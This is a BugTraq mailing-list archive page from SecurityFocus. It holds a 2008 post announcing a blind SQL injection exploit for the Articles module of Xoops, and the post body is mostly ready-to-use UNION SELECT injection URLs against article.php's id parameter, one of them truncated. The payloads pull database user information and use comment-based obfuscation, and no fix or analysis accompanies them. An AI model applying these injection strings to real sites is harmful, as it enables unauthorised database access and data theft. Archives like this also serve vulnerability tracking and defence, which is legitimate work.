Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it Apr 19 2008 09:34AM
crazy_kinq hotmail co uk
/Cr@zy_King / http://coderx.org

Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it

Sql 1-2

article.php?id=3+union+select+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(USER()
,0x71),0x71),8,9,0,1,2,3,4,5,6,7,8,9,0/*

article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,ui...

[ more ]  





 

Privacy Statement
Copyright 2009, SecurityFocus